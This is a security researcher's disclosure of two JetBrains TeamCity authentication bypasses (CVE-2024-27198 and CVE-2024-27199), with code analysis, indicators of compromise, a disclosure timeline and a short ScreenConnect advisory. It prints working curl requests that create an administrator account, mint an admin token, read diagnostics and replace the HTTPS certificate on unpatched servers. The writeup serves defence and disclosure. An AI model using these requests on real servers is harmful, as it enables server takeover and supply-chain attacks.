Compromising a TeamCity server allows an attacker full control over all TeamCity projects, builds, agents and artifacts, and as such is a suitable vector to position an attacker to perform a supply chain attack.

The second vulnerability, CVE-2024-27199, allows for a limited amount of information disclosure and a limited amount of system modification, including the ability for an unauthenticated attacker to replace the HTTPS certificate in a vulnerable TeamCity server with a certificate of the attacker's choosing.

Remediation

On March 3, 2024, JetBrains released TeamCity 2023.11.4 which remediates both CVE-2024-27198 and CVE-2024-27199. Both of these vulnerabilities affect all versions of TeamCity prior to 2023.11.4.

For more details on how to upgrade, please read the JetBrains release blog. Rapid7 recommends that TeamCity customers update their servers immediately, without waiting for a regular patch cycle to occur. We have included sample indicators of compromise (IOCs) along with vulnerability details below.

Analysis

CVE-2024-27198

Overview

TeamCity exposes a web server over HTTP port 8111 by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.

Analysis

The vulnerability lies in how the jetbrains.buildServer.controllers.BaseController class handles certain requests. This class is implemented in the web-openapi.jar library. We can see below, when a request is being serviced by the handleRequestInternal method in the BaseController class, if the request is not being redirected (i.e. the handler has not issued an HTTP 302 redirect), then the updateViewIfRequestHasJspParameter method will be called.

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
            // ...snip...

In the updateViewIfRequestHasJspParameter method listed below, we can see the variable isControllerRequestWithViewName will be set to true if both the current modelAndView has a name, and the servlet path of the current request does not end in .jsp.

We can satisfy this by requesting a URI from the server that will generate an HTTP 404 response. Such a request will generate a servlet path of /404.html. We can note that this ends in .html and not .jsp, so the isControllerRequestWithViewName will be true.

Next we can see the method getJspFromRequest will be called, and the result of this call will be passed to the Java Spring frameworks ModelAndView.setViewName method. The result of doing this allows the attacker to change the URL being handled by the DispatcherServlet, thus allowing an attacker to call an arbitrary endpoint if they can control the contents of the jspFromRequest variable.

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

To understand how an attacker can specify an arbitrary endpoint, we can inspect the getJspFromRequest method below.

This method will retrieve the string value of an HTTP parameter named jsp from the current request. This string value will be tested to ensure it both ends with .jsp and does not contain the restricted path segment admin/.

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

Triggering the vulnerability

To see how to leverage this vulnerability, we can target an example endpoint. The /app/rest/server endpoint will return the current server version information. If we directly request this endpoint, the request will fail as the request is unauthenticated.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/app/rest/server
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT

Authentication required
To login manually go to "/login.html" page

To leverage this vulnerability to successfully call the authenticated endpoint /app/rest/server, an unauthenticated attacker must satisfy the following three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response. This can be achieved by requesting a non existent resource, e.g.:
    • /hax
  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path. This can be achieved by appending an HTTP query string, e.g.:
    • ?jsp=/app/rest/server
  • Ensure the arbitrary URI path ends with .jsp. This can be achieved by appending an HTTP path parameter segment, e.g.:
    • ;.jsp

Combining the above requirements, the attacker’s URI path becomes:

/hax?jsp=/app/rest/server;.jsp

By using the authentication bypass vulnerability, we can successfully call this authenticated endpoint with no authentication.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

If we attach a debugger, we can see the call to ModelAndView.setViewName occurring for the authenticated endpoint specified by the attacker in the jspFromRequest variable.

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Exploitation

An attacker can exploit this authentication bypass vulnerability in several ways to take control of a vulnerable TeamCity server, and by association, all projects, builds, agents and artifacts associated with the server.

For example, an unauthenticated attacker can create a new administrator user with a password the attacker controls, by targeting the /app/rest/users REST API endpoint:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

We can verify the malicious administrator user has been created by viewing the TeamCity users in the web interface:

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Alternatively, an unauthenticated attacker can generate a new administrator access token with the following request:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users/id:1/tokens/HaxorToken;.jsp -X POST
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 241
Date: Wed, 14 Feb 2024 17:37:26 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="HaxorToken" creationTime="2024-02-14T09:37:26.726-08:00" value="eyJ0eXAiOiAiVENWMiJ9.RzR2cHVjTGRUN28yRWpiM0Z4R2xrZjZfTTdj.ZWNiMjJlYWMtMjJhZC00NzIwLWI4OTQtMzRkM2NkNzQ3NmFl"/>

We can verify the malicious access token has been created by viewing the TeamCity tokens in the web interface:

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

By either creating a new administrator user account, or by generating an administrator access token, the attacker now has full control over the target TeamCity server.

IOCs

By default, the TeamCity log files are located in C:\TeamCity\logs\ on Windows and /opt/TeamCity/logs/ on Linux.

Access Token Creation

Leveraging this vulnerability to access resources may leave an entry in the teamcity-javaLogging log file (e.g. teamcity-javaLogging-2024-02-26.log) similar to the following:

26-Feb-2024 07:11:12.794 WARNING [http-nio-8111-exec-1] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.68:8111/app/rest/users/id:1/tokens/2vrflIqo;.jsp?jsp=/app/rest/users/id%3a1/tokens/2vrflIqo%3b.jsp, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

In the above example, the attacker leveraged the vulnerability to access the REST API and create a new administrator access token. In doing so, this log file now contains an entry detailing the URL as processed after the call to ModelAndView.setViewName. Note this logged URL is the rewritten URL and is not the same URL the attacker requested. We can see the URL contains the string ;.jsp as well as a query parameter jsp= which is indicative of the vulnerability. Note, the attacker can include arbitrary characters before the .jsp part, e.g. ;XXX.jsp, and there may be other query parameters present, and in any order, e.g. foo=XXX&jsp=. With this in mind, an example of a more complex logged malicious request is:

27-Feb-2024 07:15:45.191 WARNING [TC: 07:15:45 Processing REST request; http-nio-80-exec-5] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.50/app/rest/users/id:1/tokens/wo4qEmUZ;O.jsp?WkBR=OcPj9HbdUcKxH3O&pKLaohp7=d0jMHTumGred&jsp=/app/rest/users/id%3a1/tokens/wo4qEmUZ%3bO.jsp&ja7U2Bd=nZLi6Ni, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

A suitable regular expression to match the rewritten URI in the teamcity-javaLogging log file would be ;\S*\.jsp\?\S*jsp= while the regular expression \/\S*\?\S*jsp=\S*;\.jsp will match against both the rewritten URI and the attacker's original URI (Although it is unknown where the original URI will be logged to).

If the attacker has leveraged the vulnerability to create an access token, the token may have been deleted. Both the teamcity-server.log and the teamcity-activities.log will contain the below line to indicate this. We can see the token name being deleted 2vrflIqo (A random string chosen by the attacker) corresponds to the token name that was created, as shown in the warning message in the teamcity-javaLogging log file.

[2024-02-26 07:11:25,702]   INFO - s.buildServer.ACTIVITIES.AUDIT - delete_token_for_user: Deleted token "2vrflIqo" for user "user with id=1" by "user with id=1"
Malicious Plugin Upload

If an attacker uploaded a malicious plugin in order to achieve arbitrary code execution, both the teamcity-server.log and the teamcity-activities.log may contain the following lines, indicating a plugin was uploaded and subsequently deleted in quick succession, and authenticated with the same user account as that of the initial access token creation (e.g. ID 1).

[2024-02-26 07:11:13,304]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_uploaded: Plugin "WYyVNA6r" was updated by "user with id=1" with comment "Plugin was uploaded to C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"
[2024-02-26 07:11:24,506]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_disable: Plugin "WYyVNA6r" was disabled by "user with id=1"
[2024-02-26 07:11:25,683]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_deleted: Plugin "WYyVNA6r" was deleted by "user with id=1" with comment "Plugin was deleted from C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"

The malicious plugin uploaded by the attacker may have artifacts left in the TeamCity Catalina folder, e.g. C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_WYyVNA6r\ on Windows or /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_WYyVNA6r/ on Linux. The plugin name WYyVNA6r has formed part of the folder name TC_147512_WYyVNA6r. The number 147512 is the build number of the TeamCity server.

There may be plugin artifacts remaining in the webapps plugin folder, e.g. C:\TeamCity\webapps\ROOT\plugins\WYyVNA6r\ on Windows or /opt/TeamCity/webapps/ROOT/plugins/WYyVNA6r/ on Linux.

There may be artifacts remaining in the TeamCity data directory, for example C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\WYyVNA6r\ on Windows, or /home/teamcity/.BuildServer/system/caches/plugins.unpacked/WYyVNA6r/ on Linux.

A plugin must be disabled before it can be deleted. Disabling a plugin leaves a permanent entry in the disabled-plugins.xml configuration file (e.g. C:\ProgramData\JetBrains\TeamCity\config\disabled-plugins.xml on Windows):

<?xml version="1.0" encoding="UTF-8"?>
<disabled-plugins>

  <disabled-plugin name="WYyVNA6r" />

</disabled-plugins>

The attacker may choose the name of both the access token they create, and the malicious plugin they upload. The example above used the random string 2vrflIqo for the access token, and WYyVNA6r for the plugin. The attacker may have successfully deleted all artifacts from their malicious plugin.

The TeamCity administration console has an Audit page that will display activity that has occurred on the server. The deletion of an access token, and the uploading and deletion of a plugin will be captured in the audit log, for example:
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

This audit log is stored in the internal database data file buildserver.data (e.g. C:\ProgramData\JetBrains\TeamCity\system\buildserver.data on Windows or /home/teamcity/.BuildServer/system/buildserver.data on Linux).

Administrator Account Creation

To identify unexpected user accounts that may have been created, inspect the TeamCity administration console’s Audit page for newly created accounts.
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Both the teamcity-server.log and the teamcity-activities.log may contain entries indicating a new user account has been created. The information logged is not enough to determine if the created user account is malicious or benign.

[2024-02-26 07:45:06,962]   INFO - tbrains.buildServer.ACTIVITIES - New user created: user with id=23
[2024-02-26 07:45:06,962]   INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: User "user with id=23" was created by "user with id=23"

CVE-2024-27199

Overview

We have also identified a second authentication bypass vulnerability in the TeamCity web server. This authentication bypass allows for a limited number of authenticated endpoints to be reached without authentication. An unauthenticated attacker can leverage this vulnerability to both modify a limited number of system settings on the server, as well as disclose a limited amount of sensitive information from the server.

Analysis

Several paths have been identified that are vulnerable to a path traversal issue that allows a limited number of authenticated endpoints to be successfully reached by an unauthenticated attacker. These paths include, but may not be limited to:

  • /res/
  • /update/
  • /.well-known/acme-challenge/

It was discovered that by leveraging the above paths, an attacker can use double dot path segments to traverse to an alternative endpoint, and no authentication checks will be enforced. We were able to successfully reach a limited number of JSP pages which leaked information, and several servlet endpoints that both leaked information and allowed for modification of system settings. These endpoints were:

  • /app/availableRunners
  • /app/https/settings/setPort
  • /app/https/settings/certificateInfo
  • /app/https/settings/defaultHttpsPort
  • /app/https/settings/fetchFromAcme
  • /app/https/settings/removeCertificate
  • /app/https/settings/uploadCertificate
  • /app/https/settings/termsOfService
  • /app/https/settings/triggerAcmeChallenge
  • /app/https/settings/cancelAcmeChallenge
  • /app/https/settings/getAcmeOrder
  • /app/https/settings/setRedirectStrategy
  • /app/pipeline
  • /app/oauth/space/createBuild.html

For example, an unauthenticated attacker should not be able to reach the /admin/diagnostic.jsp endpoint, as seen below:

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/admin/diagnostic.jsp
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Thu, 15 Feb 2024 13:00:40 GMT

Authentication required
To login manually go to "/login.html" page

However, by using the path /res/../admin/diagnostic.jsp, an unauthenticated attacker can successfully reach this endpoint, disclosing some information about the TeamCity installation. Note, the output below was edited for brevity.

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

A request to the endpoint /.well-known/acme-challenge/../../admin/diagnostic.jsp or /update/../admin/diagnostic.jsp will also achieve the same results.

Another interesting endpoint to target is the /app/https/settings/uploadCertificate endpoint. This allows an unauthenticated attacker to upload a new HTTPS certificate of the attacker’s choosing to the target TeamCity server, as well as change the port number the HTTPS service listens on. For example, we can generate a self-signed certificate with the following commands:

C:\Users\sfewer\Desktop>openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem

C:\Users\sfewer\Desktop>openssl ec -in private-eckey.pem -pubout -out public-key.pem
read EC key
writing EC key

C:\Users\sfewer\Desktop>openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:HaxorState
Locality Name (eg, city) []:HaxorCity
Organization Name (eg, company) [Internet Widgits Pty Ltd]:HaxorOrganization
Organizational Unit Name (eg, section) []:HaxorUnit
Common Name (e.g. server FQDN or YOUR name) []:target.server.com
Email Address []:

C:\Users\sfewer\Desktop>openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key

An unauthenticated attacker can perform a POST request with a path of /res/../app/https/settings/uploadCertificate in order to upload a new HTTPS certificate.

C:\Users\Administrator\Desktop>curl -vk --path-as-is http://172.29.228.65:8111/res/../app/https/settings/uploadCertificate -X POST -H "Accept: application/json" -F certificate=@hax.pem -F key=@hax.key -F port=4141
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 172.29.228.65:8111...
* Connected to 172.29.228.65 (172.29.228.65) port 8111 (#0)
> POST /res/../app/https/settings/uploadCertificate HTTP/1.1
> Host: 172.29.228.65:8111
> User-Agent: curl/7.83.1
> Accept: application/json
> Content-Length: 1591
> Content-Type: multipart/form-data; boundary=------------------------cdb2a7dd5322fcf4
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< X-Frame-Options: sameorigin
< Strict-Transport-Security: max-age=31536000;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: origin-when-cross-origin
< mixed-content: noupgrade
< TeamCity-Node-Id: MAIN_SERVER
< Content-Type: application/json
< Content-Length: 0
< Date: Thu, 15 Feb 2024 14:06:02 GMT
<
* Connection #0 to host 172.29.228.65 left intact

If we log into the TeamCity server, we can verify the HTTPS certificate and port number have been modified.
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

An attacker could perform a denial of service against the TeamCity server by either changing the HTTPS port number to a value not expected by clients, or by uploading a certificate that will fail client side validation. Alternatively, an attacker with a suitable position on the network may be able to perform either eavesdropping or a man-in-the-middle attack on client connections, if the certificate the attacker uploads (and has a private key for) will be trusted by the clients.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-27198 and CVE-2024-27199 with vulnerability checks expected to be available in the March 4 content release.

Timeline

  • February 15, 2024: Rapid7 makes initial contact with JetBrains via email.
  • February 19, 2024: Rapid7 makes a second contact attempt to JetBrains via email. JetBrains acknowledges outreach.
  • February 20, 2024: Rapid7 provides JetBrains with a technical analysis of the issues; JetBrains confirms they were able to reproduce the issues the same day.
  • February 21, 2024: JetBrains reserves CVE-2024-27198 and CVE-2024-27199. JetBrains suggests releasing patches privately before a public disclosure of the issues. Rapid7 responds, emphasizing the importance of coordinated disclosure and our stance against silently patching vulnerabilities.
  • February 22, 2024: JetBrains requests additional information on what Rapid7 considers to be silent patching.
  • February 23, 2024: Rapid7 reiterates our disclosure policy, sends JetBrains our material on silent patching. Rapid7 requests additional information about the affected product version numbers and additional mitigation guidance.
  • March 1, 2024: Rapid7 reiterates the previous request for additional information about affected product versions and vendor mitigation guidance.
  • March 1, 2024: JetBrains confirms which CVEs will be assigned to the vulnerabilities. JetBrains says they are “still investigating the issue, its root cause, and the affected versions” and that they hope to have updates for Rapid7 “next week.”
  • March 4, 2024: Rapid7 notes that JetBrains has published a blog announcing the release of TeamCity 2023.11.4. After looking at the release, Rapid7 confirms that JetBrains has patched the vulnerabilities. Rapid7 contacts JetBrains expressing concern that a patch was released without notifying or coordinating with our team, and without publishing advisories for the security issues. Rapid7 reiterates our vulnerability disclosure policy, which stipulates: “If Rapid7 becomes aware that an update was made generally available after reporting the issue to the responsible organization, including silent patches which tend to hijack CVD norms, Rapid7 will aim to publish vulnerability details within 24 hours.” Rapid7 also asks whether JetBrains is planning on publishing an advisory with CVE information.
  • March 4, 2024: JetBrains publishes a blog on the security issues (CVE-2024-27198 and CVE-2024-27199). JetBrains later responds indicating they have published an advisory with CVEs, and CVEs are also included in release notes. JetBrains does not respond to Rapid7 on the uncoordinated disclosure.
  • March 4, 2024: This disclosure.
High-Risk Vulnerabilities in ConnectWise ScreenConnect

On February 19, 2024 ConnectWise disclosed two vulnerabilities in their ScreenConnect remote access software. Both vulnerabilities affect ScreenConnect 23.9.7 and earlier. While neither vulnerability has a CVE assigned as of February 20, the two issues mentioned in ConnectWise’s advisory are:

  • An authentication bypass using an alternate path or channel (CVSS 10)
  • A path traversal issue (CVSS 8.4)

ScreenConnect is popular remote access software used by many organizations globally; it has also been abused by adversaries in the past. There appear to be some 7,500+ instances of ScreenConnect exposed to the public internet. The vulnerabilities are not known to be exploited in the wild as of February 20.

Security news media and security vendors are raising strong alarms about the ScreenConnect vulnerabilities, largely because of the potential for attackers to exploit vulnerable ScreenConnect instances to then push ransomware to downstream clients. This may be a particular concern for managed service providers (MSPs) or managed security services providers (MSSPs) who use ScreenConnect to remotely manage client environments.

Mitigation guidance

All versions of ConnectWise ScreenConnect before 23.9.8 are vulnerable to these (CVE-less) issues. Customers who have on-premise ScreenConnect instances in their environments should apply the 23.9.8 update immediately, per ConnectWise’s guidance.

Rapid7 customers

Our engineering team is researching new vulnerability checks for these issues. We hope to release vulnerability checks for InsightVM and Nexpose customers in tomorrow’s (February 21) content release. We will update this blog with further information and ETAs as our investigation continues.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on post-exploitation behavior related to these vulnerabilities:

  • Attacker Technique - Remote Access Via ScreenConnect
  • Attacker Technique - Command Execution Via ScreenConnect
  • Suspicious Process - ScreenConnect with RunRole Argument